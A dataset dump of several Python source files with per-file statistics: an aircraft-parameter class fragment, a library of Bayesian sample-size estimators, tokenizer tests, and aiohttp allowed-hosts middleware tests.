self.after_cabin_upper_height = None # the height of upper part of after cabin self.after_cabin_lower_height = None # hte height of lower part of after cabin self.KWs = None # costant => 0.75 * ((1.0 + 2.0 * taper ratio) / (1.0 + taper ratio)) * (main wing span * np.tan(25 * wingsweep_theta / fuselage length)) # main wing self.main_wing_span = None # wing span(b) self.main_wing_aspect_ratio = None # AR self.main_wing_taper_ratio = None # t self.main_wing_tc = None # the ratio of thickness and chord self.retreat_angle = None # theta self.main_wing_croot = None # the root chord of main wing self.main_wing_ctip = None # the tip chord of main wing self.main_wing_area = None # S # self.Nz = None # ultimate load coefficient # vertical wing self.vertical_wing_span = None # wing span(bv) self.vertical_wing_aspect_ratio = None # ARv self.vertical_wing_taper_ratio = None # tv self.vertical_wing_tc = None # the ratio of thickness and chord at vertical wing self.vertical_retreat_angle = None # thetav self.vertical_wing_croot = None # the root chord of vertical wing self.vertical_wing_ctip = None # the tip chord of vertical wing self.vertical_wing_area = None # Sv # horizontal wing self.horizontal_wing_span = None # wing span(bh) self.horizontal_wing_aspect_ratio = None # ARh self.horizontal_wing_taper_ratio = None # th self.horizontal_wing_tc = None # the ratio of thickness and chord at horizontal wing self.horizontal_retreat_angle = None # thetah self.horizontal_wing_croot = None # the root chord of horizontal wing self.horizontal_wing_ctip = None # the tip chord of horizontal wing self.horizontal_wing_area = None # Sh # main landing gear self.main_landing_gear_position = None # the setting position of main landing gear(Lm) self.number_of_main_wheel = None # the number of main wheel self.number_of_main_gear_struts = None # the number of main gear struts self.Vstall = 130 # stall velocity # Nose landing gear self.nose_landing_gear_position = None # the setting position of nose landing gear(Ln) self.number_of_nose_wheel = None # the number of nose wheel # Nacelle self.engine_number = None # the number of jet engine # Engine Control self.engine_control_position = None # the mounting position of engine control # Flight Control self.number_of_flight_control = None # the number of flight control self.exposed_wing_span = None # outer wing span (BW) # Instrument self.number_of_instrument = None # the number of instrument, jet engine(2.0), UAV(0.5) if __name__ == '__main__': aircraft_name = "A320" ap = AircraftParamsComputation(aircraft_name)

42.098131

162

0.662116

1,214

9,009

4.712521

0.131796

0.056284

0.029366

0.031463

0.972907

0

0.009951

0.274947

9,009

213

163

42.295775

0.865891

0.399711

0

0.948276

0

0.011143

0.008838

0

1

0.017241

false

0

0.008621

0

0.043103

0.034483

0

null

0

1

0

1

0

null

0

7

f22074875d5aa2784e0e0d85aa42b3f1517361ff

32,000

py

Python

src/samplesizelib/linear/bayesian.py

andriygav/SampleSizeEstimation

079959711a46201e08ae3e0d41815bcb70d7efc4

[ "MIT" ]

2

2020-08-16T18:24:05.000Z

2021-12-04T11:52:24.000Z

src/samplesizelib/linear/bayesian.py

andriygav/SampleSizeEstimation

079959711a46201e08ae3e0d41815bcb70d7efc4

[ "MIT" ]

2

2020-08-16T17:53:49.000Z

2020-08-18T19:57:40.000Z

src/samplesizelib/linear/bayesian.py

andriygav/SampleSizeEstimation

079959711a46201e08ae3e0d41815bcb70d7efc4

[ "MIT" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- """ The :mod:`samplesizelib.linear.bayesian` contains classes: - :class:`samplesizelib.linear.bayesian.APVCEstimator` - :class:`samplesizelib.linear.bayesian.ACCEstimator` - :class:`samplesizelib.linear.bayesian.ALCEstimator` - :class:`samplesizelib.linear.bayesian.MaxUtilityEstimator` - :class:`samplesizelib.linear.bayesian.KLEstimator` """ from __future__ import print_function __docformat__ = 'restructuredtext' from multiprocessing import Pool import numpy as np import scipy.stats as sps from scipy.optimize import minimize_scalar from ..shared.estimator import SampleSizeEstimator from ..shared.utils import Dataset class APVCEstimator(SampleSizeEstimator): r""" Description of APVC Method :param statmodel: the machine learning algorithm :type statmodel: RegressionModel or LogisticModel :param averaging: to do :type averaging: float :param epsilon: to do :type epsilon: float :param begin: to do :type begin: int :param end: to do :type end: int :param num: to do :type num: int :param multiprocess: to do :type multiprocess: bool :param progressbar: to do :type progressbar: bool """ def __init__(self, statmodel, **kwards): r"""Constructor method """ super().__init__() self.statmodel = statmodel self.averaging = int(kwards.pop('averaging', 100)) if self.averaging <= 0: raise ValueError( "The averaging should be positive but get {}".format( self.averaging)) self.epsilon = kwards.pop('epsilon', 0.5) if self.epsilon <= 0: raise ValueError( "The epsilon must be positive value but get {}".format( self.epsilon)) self.begin = kwards.pop('begin', None) if self.begin is not None and self.begin < 0: raise ValueError( "The begin must be positive value but get {}".format( self.begin)) self.end = kwards.pop('end', None) if self.end is not None and self.end < 0: raise ValueError( "The end must be positive value but get {}".format( self.end)) if self.end is not None and self.begin is not None and self.end <= self.begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( self.end, self.begin)) self.num = kwards.pop('num', 5) if self.num <=0: raise ValueError( "The num must be positive value but get {}".format( self.num)) if self.end is not None and self.begin is not None and self.num >= self.end - self.begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, self.end - self.begin)) self.multiprocess = kwards.pop('multiprocess', False) if not isinstance(self.multiprocess, bool): raise ValueError( "The multiprocess must be bool value but get {}".format( self.multiprocess)) self.progressbar = kwards.pop('progressbar', False) if not isinstance(self.progressbar, bool): raise ValueError( "The progressbar must be bool value but get {}".format( self.progressbar)) if kwards: raise ValueError("Invalid parameters: %s" % str(kwards)) self.dataset = None def _hDispersion(self, dataset): r""" Return ... """ X, y = dataset.sample() w_hat = self.statmodel(y, X).fit() cov = np.linalg.inv( 0.01*np.eye(w_hat.shape[0]) - self.statmodel(y, X).hessian(w_hat)) return np.sqrt(np.sum((np.linalg.eigvals(cov)/2)**2)) def _score_subsample(self, m): r""" Return ... """ X_m, y_m = self.dataset.sample(m) dataset_m = Dataset(X_m, y_m) return self._hDispersion(dataset_m) def forward(self, features, target): r""" Returns sample size prediction for the given dataset. :param features: The tensor of shape `num_elements` :math:`\times` `num_feature`. :type features: array. :param target: The tensor of shape `num_elements`. :type target: array. :return: sample size estimation for the given dataset. :rtype: dict """ self.dataset = Dataset(features, target) if self.end is None: end = len(self.dataset) - 1 else: end = self.end if self.begin is None: begin = 2*self.dataset.n else: begin = self.begin if end <= begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( end, begin)) if self.num >= end - begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, end - begin)) subset_sizes = np.arange(begin, end, self.num, dtype=np.int64) list_of_answers = [] points_one = np.ones(self.averaging, dtype=np.int64) if self.multiprocess: pool = Pool() mapping = pool.map else: mapping = map if self.progressbar: iterator = self._progressbar(subset_sizes) else: iterator = subset_sizes for i, m in enumerate(iterator): list_of_answers.append( np.asarray( list(mapping(self._score_subsample, m*points_one)))) self._set_status(100.*(i+1)/len(subset_sizes)) if self.multiprocess: pool.close() pool.join() list_of_answers = np.asarray(list_of_answers) list_of_E = np.mean(list_of_answers, axis = 1) list_of_S = np.std(list_of_answers, axis = 1) m_size = end for m, mean in zip(reversed(subset_sizes), reversed(list_of_E)): if mean < self.epsilon: m_size = m return {'m*': m_size, 'E': np.array(list_of_E), 'S': np.array(list_of_S), 'm': np.array(subset_sizes), } class ACCEstimator(SampleSizeEstimator): r""" Description of ACC Method :param statmodel: the machine learning algorithm :type statmodel: RegressionModel or LogisticModel :param averaging: to do :type averaging: float :param alpha: to do :type alpha: float :param length: to do :type length: float :param begin: to do :type begin: int :param end: to do :type end: int :param num: to do :type num: int :param multiprocess: to do :type multiprocess: bool :param progressbar: to do :type progressbar: bool """ def __init__(self, statmodel, **kwards): r"""Constructor method """ super().__init__() self.statmodel = statmodel self.averaging = int(kwards.pop('averaging', 100)) if self.averaging <= 0: raise ValueError( "The averaging should be positive but get {}".format( self.averaging)) self.length = kwards.pop('length', 0.25) if self.length <= 0: raise ValueError( "The length must be positive value but get {}".format( self.length)) self.alpha = kwards.pop('alpha', 0.05) if self.alpha < 0 or self.alpha > 1: raise ValueError( "The alpha must be between 0 and 1 but get {}".format( self.alpha)) self.begin = kwards.pop('begin', None) if self.begin is not None and self.begin < 0: raise ValueError( "The begin must be positive value but get {}".format( self.begin)) self.end = kwards.pop('end', None) if self.end is not None and self.end < 0: raise ValueError( "The end must be positive value but get {}".format( self.end)) if self.end is not None and self.begin is not None and self.end <= self.begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( self.end, self.begin)) self.num = kwards.pop('num', 5) if self.num <=0: raise ValueError( "The num must be positive value but get {}".format( self.num)) if self.end is not None and self.begin is not None and self.num >= self.end - self.begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, self.end - self.begin)) self.multiprocess = kwards.pop('multiprocess', False) if not isinstance(self.multiprocess, bool): raise ValueError( "The multiprocess must be bool value but get {}".format( self.multiprocess)) self.progressbar = kwards.pop('progressbar', False) if not isinstance(self.progressbar, bool): raise ValueError( "The progressbar must be bool value but get {}".format( self.progressbar)) if kwards: raise ValueError("Invalid parameters: %s" % str(kwards)) self.dataset = None def _iDistribution(self, dataset): r""" Return ... """ X, y = dataset.sample() w_hat = self.statmodel(y, X).fit() cov = np.linalg.inv( 0.01*np.eye(w_hat.shape[0]) - self.statmodel(y, X).hessian(w_hat)) W = sps.multivariate_normal(mean=np.zeros(w_hat.shape[0]), cov = cov).rvs(size=1000) return (np.sqrt((W**2).sum(axis=1)) < 3*self.length).mean() def _score_subsample(self, m): r""" Return ... """ X_m, y_m = self.dataset.sample(m) dataset_m = Dataset(X_m, y_m) return self._iDistribution(dataset_m) def forward(self, features, target): r""" Returns sample size prediction for the given dataset. :param features: The tensor of shape `num_elements` :math:`\times` `num_feature`. :type features: array. :param target: The tensor of shape `num_elements`. :type target: array. :return: sample size estimation for the given dataset. :rtype: dict """ self.dataset = Dataset(features, target) if self.end is None: end = len(self.dataset) - 1 else: end = self.end if self.begin is None: begin = 2*self.dataset.n else: begin = self.begin if end <= begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( end, begin)) if self.num >= end - begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, end - begin)) subset_sizes = np.arange(begin, end, self.num, dtype=np.int64) list_of_answers = [] points_one = np.ones(self.averaging, dtype=np.int64) if self.multiprocess: pool = Pool() mapping = pool.map else: mapping = map if self.progressbar: iterator = self._progressbar(subset_sizes) else: iterator = subset_sizes for i, m in enumerate(iterator): list_of_answers.append( np.asarray( list(mapping(self._score_subsample, m*points_one)))) self._set_status(100.*(i+1)/len(subset_sizes)) if self.multiprocess: pool.close() pool.join() list_of_answers = np.asarray(list_of_answers) list_of_E = np.mean(list_of_answers, axis = 1) list_of_S = np.std(list_of_answers, axis = 1) m_size = end for m, mean in zip(reversed(subset_sizes), reversed(list_of_E)): if mean > 1 - self.alpha: m_size = m return {'m*': m_size, 'E': np.array(list_of_E), 'S': np.array(list_of_S), 'm': np.array(subset_sizes), } class ALCEstimator(SampleSizeEstimator): r""" Description of ALC Method :param statmodel: the machine learning algorithm :type statmodel: RegressionModel or LogisticModel :param averaging: to do :type averaging: float :param alpha: to do :type alpha: float :param length: to do :type length: float :param begin: to do :type begin: int :param end: to do :type end: int :param num: to do :type num: int :param multiprocess: to do :type multiprocess: bool :param progressbar: to do :type progressbar: bool """ def __init__(self, statmodel, **kwards): r"""Constructor method """ super().__init__() self.statmodel = statmodel self.averaging = int(kwards.pop('averaging', 100)) if self.averaging <= 0: raise ValueError( "The averaging should be positive but get {}".format( self.averaging)) self.length = kwards.pop('length', 0.5) if self.length <= 0: raise ValueError( "The length must be positive value but get {}".format( self.length)) self.alpha = kwards.pop('alpha', 0.05) if self.alpha < 0 or self.alpha > 1: raise ValueError( "The alpha must be between 0 and 1 but get {}".format( self.alpha)) self.begin = kwards.pop('begin', None) if self.begin is not None and self.begin < 0: raise ValueError( "The begin must be positive value but get {}".format( self.begin)) self.end = kwards.pop('end', None) if self.end is not None and self.end < 0: raise ValueError( "The end must be positive value but get {}".format( self.end)) if self.end is not None and self.begin is not None and self.end <= self.begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( self.end, self.begin)) self.num = kwards.pop('num', 5) if self.num <=0: raise ValueError( "The num must be positive value but get {}".format( self.num)) if self.end is not None and self.begin is not None and self.num >= self.end - self.begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, self.end - self.begin)) self.multiprocess = kwards.pop('multiprocess', False) if not isinstance(self.multiprocess, bool): raise ValueError( "The multiprocess must be bool value but get {}".format( self.multiprocess)) self.progressbar = kwards.pop('progressbar', False) if not isinstance(self.progressbar, bool): raise ValueError( "The progressbar must be bool value but get {}".format( self.progressbar)) if kwards: raise ValueError("Invalid parameters: %s" % str(kwards)) self.dataset = None def _aDistribution(self, dataset): r""" Return ... """ X, y = dataset.sample() w_hat = self.statmodel(y, X).fit() cov = np.linalg.inv( 0.01*np.eye(w_hat.shape[0]) - self.statmodel(y, X).hessian(w_hat)) W = sps.multivariate_normal(mean=np.zeros(w_hat.shape[0]), cov = cov).rvs(size=1000) function = lambda r: np.abs( (np.sqrt((W**2).sum(axis=1)) > 3*r).mean() - self.alpha) return minimize_scalar(function, bounds=(0.01, 1), method='Bounded', options={'maxiter':10})['x'] def _score_subsample(self, m): r""" Return ... """ X_m, y_m = self.dataset.sample(m) dataset_m = Dataset(X_m, y_m) return self._aDistribution(dataset_m) def forward(self, features, target): r""" Returns sample size prediction for the given dataset. :param features: The tensor of shape `num_elements` :math:`\times` `num_feature`. :type features: array. :param target: The tensor of shape `num_elements`. :type target: array. :return: sample size estimation for the given dataset. :rtype: dict """ self.dataset = Dataset(features, target) if self.end is None: end = len(self.dataset) - 1 else: end = self.end if self.begin is None: begin = 2*self.dataset.n else: begin = self.begin if end <= begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( end, begin)) if self.num >= end - begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, end - begin)) subset_sizes = np.arange(begin, end, self.num, dtype=np.int64) list_of_answers = [] points_one = np.ones(self.averaging, dtype=np.int64) if self.multiprocess: pool = Pool() mapping = pool.map else: mapping = map if self.progressbar: iterator = self._progressbar(subset_sizes) else: iterator = subset_sizes for i, m in enumerate(iterator): list_of_answers.append( np.asarray( list(mapping(self._score_subsample, m*points_one)))) self._set_status(100.*(i+1)/len(subset_sizes)) if self.multiprocess: pool.close() pool.join() list_of_answers = np.asarray(list_of_answers) list_of_E = np.mean(list_of_answers, axis = 1) list_of_S = np.std(list_of_answers, axis = 1) m_size = end for m, mean in zip(reversed(subset_sizes), reversed(list_of_E)): if mean < self.length: m_size = m return {'m*': m_size, 'E': np.array(list_of_E), 'S': np.array(list_of_S), 'm': np.array(subset_sizes), } class MaxUtilityEstimator(SampleSizeEstimator): r""" Description of Utility Maximisation Method :param statmodel: the machine learning algorithm :type statmodel: RegressionModel or LogisticModel :param averaging: to do :type averaging: float :param c: to do :type c: float :param begin: to do :type begin: int :param end: to do :type end: int :param num: to do :type num: int :param multiprocess: to do :type multiprocess: bool :param progressbar: to do :type progressbar: bool """ def __init__(self, statmodel, **kwards): r"""Constructor method """ super().__init__() self.statmodel = statmodel self.averaging = int(kwards.pop('averaging', 100)) if self.averaging <= 0: raise ValueError( "The averaging should be positive but get {}".format( self.averaging)) self.c = kwards.pop('c', 0.005) if self.c <= 0: raise ValueError( "The c must be positive value but get {}".format( self.c)) self.begin = kwards.pop('begin', None) if self.begin is not None and self.begin < 0: raise ValueError( "The begin must be positive value but get {}".format( self.begin)) self.end = kwards.pop('end', None) if self.end is not None and self.end < 0: raise ValueError( "The end must be positive value but get {}".format( self.end)) if self.end is not None and self.begin is not None and self.end <= self.begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( self.end, self.begin)) self.num = kwards.pop('num', 5) if self.num <=0: raise ValueError( "The num must be positive value but get {}".format( self.num)) if self.end is not None and self.begin is not None and self.num >= self.end - self.begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, self.end - self.begin)) self.multiprocess = kwards.pop('multiprocess', False) if not isinstance(self.multiprocess, bool): raise ValueError( "The multiprocess must be bool value but get {}".format( self.multiprocess)) self.progressbar = kwards.pop('progressbar', False) if not isinstance(self.progressbar, bool): raise ValueError( "The progressbar must be bool value but get {}".format( self.progressbar)) if kwards: raise ValueError("Invalid parameters: %s" % str(kwards)) self.dataset = None def _uFunction(self, dataset): r""" Return ... """ X, y = dataset.sample() model = self.statmodel(y, X) w_hat = model.fit() cov = np.linalg.inv( 0.01*np.eye(w_hat.shape[0]) - model.hessian(w_hat)) prior = sps.multivariate_normal(mean = np.zeros(w_hat.shape[0]), cov = 0.01*np.eye(w_hat.shape[0])) W = sps.multivariate_normal(mean=w_hat, cov = cov).rvs(size=100) u = [] for w in W: u.append(model.loglike(w) + prior.logpdf(w)) return np.mean(u)/y.shape[0] - self.c*y.shape[0] def _score_subsample(self, m): r""" Return ... """ X_m, y_m = self.dataset.sample(m) dataset_m = Dataset(X_m, y_m) return self._uFunction(dataset_m) def forward(self, features, target): r""" Returns sample size prediction for the given dataset. :param features: The tensor of shape `num_elements` :math:`\times` `num_feature`. :type features: array. :param target: The tensor of shape `num_elements`. :type target: array. :return: sample size estimation for the given dataset. :rtype: dict """ self.dataset = Dataset(features, target) if self.end is None: end = len(self.dataset) - 1 else: end = self.end if self.begin is None: begin = 2*self.dataset.n else: begin = self.begin if end <= begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( end, begin)) if self.num >= end - begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, end - begin)) subset_sizes = np.arange(begin, end, self.num, dtype=np.int64) list_of_answers = [] points_one = np.ones(self.averaging, dtype=np.int64) if self.multiprocess: pool = Pool() mapping = pool.map else: mapping = map if self.progressbar: iterator = self._progressbar(subset_sizes) else: iterator = subset_sizes for i, m in enumerate(iterator): list_of_answers.append( np.asarray( list(mapping(self._score_subsample, m*points_one)))) self._set_status(100.*(i+1)/len(subset_sizes)) if self.multiprocess: pool.close() pool.join() list_of_answers = np.asarray(list_of_answers) list_of_E = np.mean(list_of_answers, axis = 1) list_of_S = np.std(list_of_answers, axis = 1) return {'m*': subset_sizes[np.argmax(np.array(list_of_E))], 'E': np.array(list_of_E), 'S': np.array(list_of_S), 'm': np.array(subset_sizes), } class KLEstimator(SampleSizeEstimator): r""" Description of KL based Method :param statmodel: the machine learning algorithm :type statmodel: RegressionModel or LogisticModel :param averaging: to do :type averaging: float :param epsilon: to do :type epsilon: float :param begin: to do :type begin: int :param end: to do :type end: int :param num: to do :type num: int :param multiprocess: to do :type multiprocess: bool :param progressbar: to do :type progressbar: bool """ def __init__(self, statmodel, **kwards): r"""Constructor method """ super().__init__() self.statmodel = statmodel self.averaging = int(kwards.pop('averaging', 5)) if self.averaging <= 0: raise ValueError( "The averaging should be positive but get {}".format( self.averaging)) self.epsilon = kwards.pop('epsilon', 0.01) if self.epsilon <= 0: raise ValueError( "The epsilon must be positive value but get {}".format( self.epsilon)) self.begin = kwards.pop('begin', None) if self.begin is not None and self.begin < 0: raise ValueError( "The begin must be positive value but get {}".format( self.begin)) self.end = kwards.pop('end', None) if self.end is not None and self.end < 0: raise ValueError( "The end must be positive value but get {}".format( self.end)) if self.end is not None and self.begin is not None and self.end <= self.begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( self.end, self.begin)) self.num = kwards.pop('num', 5) if self.num <=0: raise ValueError( "The num must be positive value but get {}".format( self.num)) if self.end is not None and self.begin is not None and self.num >= self.end - self.begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, self.end - self.begin)) self.multiprocess = kwards.pop('multiprocess', False) if not isinstance(self.multiprocess, bool): raise ValueError( "The multiprocess must be bool value but get {}".format( self.multiprocess)) self.progressbar = kwards.pop('progressbar', False) if not isinstance(self.progressbar, bool): raise ValueError( "The progressbar must be bool value but get {}".format( self.progressbar)) if kwards: raise ValueError("Invalid parameters: %s" % str(kwards)) self.dataset = None @staticmethod def D_KL_normal(m_0, cov_0, m_1, cov_1, cov_0_inv, cov_1_inv): m_0 = np.array(m_0, ndmin=1) m_1 = np.array(m_1, ndmin=1) cov_0 = np.array(cov_0, ndmin=2) cov_1 = np.array(cov_1, ndmin=2) D_KL_1 = np.sum(np.diagonal(cov_1@cov_0_inv)) D_KL_2 = float(np.reshape((m_1 - m_0), [1, -1])@cov_1@np.reshape((m_1 - m_0), [-1, 1])) D_KL_3 = -m_0.shape[0] D_KL_4 = float(np.log(np.linalg.det(cov_0)/np.linalg.det(cov_1))) return 0.5*(D_KL_1 + D_KL_2 + D_KL_3 + D_KL_4) def _klFunction(self, dataset): r""" Return ... """ X, y = dataset.sample() model_0 = self.statmodel(y, X) m_0 = model_0.fit() cov_0_inv = 0.01*np.eye(m_0.shape[0]) - model_0.hessian(m_0) cov_0 = np.linalg.inv(cov_0_inv) # ind = np.random.randint(0, X.shape[0]) indexes = np.random.permutation(X.shape[0]) list_of_res = [] for ind in indexes: X_new = np.delete(X, ind, axis = 0) y_new = np.delete(y, ind, axis = 0) model_1 = self.statmodel(y_new, X_new) m_1 = model_1.fit() cov_1_inv = 0.01*np.eye(m_1.shape[0]) - model_1.hessian(m_1) cov_1 = np.linalg.inv(cov_1_inv) list_of_res.append( self.D_KL_normal(m_0, cov_0, m_1, cov_1, cov_0_inv, cov_1_inv)) return np.mean(list_of_res) def _score_subsample(self, m): r""" Return ... """ X_m, y_m = self.dataset.sample(m) dataset_m = Dataset(X_m, y_m) return self._klFunction(dataset_m) def forward(self, features, target): r""" Returns sample size prediction for the given dataset. :param features: The tensor of shape `num_elements` :math:`\times` `num_feature`. :type features: array. :param target: The tensor of shape `num_elements`. :type target: array. :return: sample size estimation for the given dataset. :rtype: dict """ self.dataset = Dataset(features, target) if self.end is None: end = len(self.dataset) - 1 else: end = self.end if self.begin is None: begin = 2*self.dataset.n else: begin = self.begin if end <= begin: raise ValueError( "The end value must be greater than the begin value but {}<={}".format( end, begin)) if self.num >= end - begin: raise ValueError( "The num value must be smaler than (end - begin) but {}>={}".format( self.num, end - begin)) subset_sizes = np.arange(begin, end, self.num, dtype=np.int64) list_of_answers = [] points_one = np.ones(self.averaging, dtype=np.int64) if self.multiprocess: pool = Pool() mapping = pool.map else: mapping = map if self.progressbar: iterator = self._progressbar(subset_sizes) else: iterator = subset_sizes for i, m in enumerate(iterator): list_of_answers.append( np.asarray( list(mapping(self._score_subsample, m*points_one)))) self._set_status(100.*(i+1)/len(subset_sizes)) if self.multiprocess: pool.close() pool.join() list_of_answers = np.asarray(list_of_answers) list_of_E = np.mean(list_of_answers, axis = 1) list_of_S = np.std(list_of_answers, axis = 1) m_size = end for m, mean in zip(reversed(subset_sizes), reversed(list_of_E)): if mean < self.epsilon: m_size = m return {'m*': m_size, 'E': np.array(list_of_E), 'S': np.array(list_of_S), 'm': np.array(subset_sizes), }

32.193159

107

0.545344

3,934

32,000

4.331469

0.057448

0.023592

0.060211

0.034742

0.892782

0.88885

0.887441

0.880575

0.876115

0

0.012586

0.346969

32,000

993

108

32.225579

0.802843

0.136938

0

0.830918

0

0.121208

0

1

0.033816

false

0

0.011272

0

0.078905

0.00161

0

null

0

1

0

1

0

null

0

7

1ef528c9478486c938c78de9dcdd098425597183

3,147

py

Python

tests/test_tokenize.py

BeTKH/articlenizer

7f18a630c71fcb7c80c710b9ef3870e460f49cac

[ "MIT" ]

1

2022-01-04T11:58:36.000Z

tests/test_tokenize.py

BeTKH/articlenizer

7f18a630c71fcb7c80c710b9ef3870e460f49cac

[ "MIT" ]

null

tests/test_tokenize.py

BeTKH/articlenizer

7f18a630c71fcb7c80c710b9ef3870e460f49cac

[ "MIT" ]

1

2022-02-15T17:09:37.000Z

import pytest from articlenizer import articlenizer def test_tokenization_with_spaces(): s = 'Tokenization is tested with a single sentence, which requires an example such as the sentence: "Data processing and statistical analyses were conducted using IBM SPSS 22.0 (IBM Corp., Armonk, NY), MATLAB R2015a (The MathWorks, Natick, MA), R 3.3.2 R2.11.1 (http://www.R-project.org/), and Python libraries for scientific computation (NumPy, and SciPy) [39]."' s = articlenizer.tokenize_text(s, representation='spaces') assert s == ['Tokenization', ' ', 'is', ' ', 'tested', ' ', 'with', ' ', 'a', ' ', 'single', ' ', 'sentence', ',', ' ', 'which', ' ', 'requires', ' ', 'an', ' ', 'example', ' ', 'such', ' ', 'as', ' ', 'the', ' ', 'sentence', ':', ' ', '"', 'Data', ' ', 'processing', ' ', 'and', ' ', 'statistical', ' ', 'analyses', ' ', 'were', ' ', 'conducted', ' ', 'using', ' ', 'IBM', ' ', 'SPSS', ' ', '22.0', ' ', '(', 'IBM', ' ', 'Corp', '.', ',', ' ', 'Armonk', ',', ' ', 'NY', ')', ',', ' ', 'MATLAB', ' ', 'R', '2015a', ' ', '(', 'The', ' ', 'MathWorks', ',', ' ', 'Natick', ',', ' ', 'MA', ')', ',', ' ', 'R', ' ', '3.3.2', ' ', 'R', '2.11.1', ' ', '(', 'http://www.R-project.org/', ')', ',', ' ', 'and', ' ', 'Python', ' ', 'libraries', ' ', 'for', ' ', 'scientific', ' ', 'computation', ' ', '(', 'NumPy', ',', ' ', 'and', ' ', 'SciPy', ')', ' ', '[39]', '.', '"'] def test_tokenization_without_spaces(): s = 'Tokenization is tested with a single sentence, which requires an example such as the sentence: "Data processing and statistical analyses were conducted using IBM SPSS 22.0 (IBM Corp., Armonk, NY), MATLAB R2015a (The MathWorks, Natick, MA), R 3.3.2 (http://www.R-project.org/), and Python libraries for scientific computation (NumPy, and SciPy) [39]."' s = articlenizer.tokenize_text(s) assert s == ['Tokenization', 'is', 'tested', 'with', 'a', 'single', 'sentence', ',', 'which', 'requires', 'an', 'example', 'such', 'as', 'the', 'sentence', ':', '"', 'Data', 'processing', 'and', 'statistical', 'analyses', 'were', 'conducted', 'using', 'IBM', 'SPSS', '22.0', '(', 'IBM', 'Corp', '.', ',', 'Armonk', ',', 'NY', ')', ',', 'MATLAB', 'R', '2015a', '(', 'The', 'MathWorks', ',', 'Natick', ',', 'MA', ')', ',', 'R', '3.3.2', '(', 'http://www.R-project.org/', ')', ',', 'and', 'Python', 'libraries', 'for', 'scientific', 'computation', '(', 'NumPy', ',', 'and', 'SciPy', ')', '[39]', '.', '"'] def test_tokenization_without_spaces_application(): s = "Several softwares and R packages are available for Rasch model analysis such as ConQuest (https://shop.acer.edu.au/group/CON3), RUMM (www.rummlab.com.au), ltm (cran.r-project.org/package=ltm) and eRM (cran.r-project.org/package=eRm)." s = articlenizer.tokenize_text(s) print(s) assert s == ['Several', 'softwares', 'and', 'R', 'packages', 'are', 'available', 'for', 'Rasch', 'model', 'analysis', 'such', 'as', 'ConQuest', '(', 'https://shop.acer.edu.au/group/CON3', ')', ',', 'RUMM', '(', 'www.rummlab.com.au', ')', ',', 'ltm', '(', 'cran.r-project.org/package=ltm', ')', 'and', 'eRM', '(', 'cran.r-project.org/package=eRm', ')', '.']

157.35

866

0.550683

365

3,147

4.712329

0.249315

0.037209

0.051163

0.048837

0.932558

0.917442

0

0.021755

0.152844

3,147

19

867

165.631579

0.623406

0

0.133333

0

0.2

0.578011

0.046393

0

0.2

1

0.2

false

0

0.133333

0

0.333333

0.066667

0

null

0

1

0

1

0

null

0

7

487f831c1832c68c006340c5d8bf28c5389fcbb2

1,538

py

Python

tests/test_allowed_hosts.py

rgacote/aiohttp-remotes

8b28757bc10ed7878e1bbc0539dcfb3b37cb5e96

[ "MIT" ]

1

2019-08-20T17:18:39.000Z

tests/test_allowed_hosts.py

rgacote/aiohttp-remotes

8b28757bc10ed7878e1bbc0539dcfb3b37cb5e96

[ "MIT" ]

null

tests/test_allowed_hosts.py

rgacote/aiohttp-remotes

8b28757bc10ed7878e1bbc0539dcfb3b37cb5e96

[ "MIT" ]

null

from aiohttp import web from aiohttp_remotes import AllowedHosts from aiohttp_remotes import setup as _setup async def test_allowed_hosts_ok(aiohttp_client): async def handler(request): return web.Response() app = web.Application() app.router.add_get('/', handler) await _setup(app, AllowedHosts({'example.com'})) cl = await aiohttp_client(app) resp = await cl.get('/', headers={'Host': 'example.com'}) assert resp.status == 200 async def test_allowed_hosts_forbidden(aiohttp_client): async def handler(request): return web.Response() app = web.Application() app.router.add_get('/', handler) await _setup(app, AllowedHosts({'example.com'})) cl = await aiohttp_client(app) resp = await cl.get('/', headers={'Host': 'not-allowed.com'}) assert resp.status == 400 async def test_allowed_hosts_star(aiohttp_client): async def handler(request): return web.Response() app = web.Application() app.router.add_get('/', handler) await _setup(app, AllowedHosts({'*'})) cl = await aiohttp_client(app) resp = await cl.get('/', headers={'Host': 'example.com'}) assert resp.status == 200 async def test_allowed_hosts_default(aiohttp_client): async def handler(request): return web.Response() app = web.Application() app.router.add_get('/', handler) await _setup(app, AllowedHosts()) cl = await aiohttp_client(app) resp = await cl.get('/', headers={'Host': 'example.com'}) assert resp.status == 200

29.576923

65

0.673602

197

1,538

5.101523

0.19797

0.063682

0.047761

0.075622

0.854726

0.806965

0

0.009615

0.188557

1,538

51

66

30.156863

0.795673

0

0.717949

0

0.061769

0

0.102564

1

0

false

0

0.076923

0

0.179487

0

null

0

1

0

1

0

null

0

7

6f88f1d945642bae59cbcabf2385aecc3ce8242a

15,990

py

Python

otcextensions/osclient/dcaas/v2/connection.py

gtema/python-otcextensions

e92dff75df4f59594a88dbb090f14990f4d6c729

[ "Apache-2.0" ]

10

2018-03-03T17:59:59.000Z

2020-01-08T10:03:00.000Z

otcextensions/osclient/dcaas/v2/connection.py

OpenTelekomCloud/python-otcextensions

12f20b88a00d69160f6e4c69132a3cec6d5f7db1

[ "Apache-2.0" ]

39

2018-03-26T14:43:23.000Z

2020-02-07T16:42:53.000Z

otcextensions/osclient/dcaas/v2/connection.py

gtema/python-otcextensions

e92dff75df4f59594a88dbb090f14990f4d6c729

[ "Apache-2.0" ]

9

2018-03-27T09:17:40.000Z

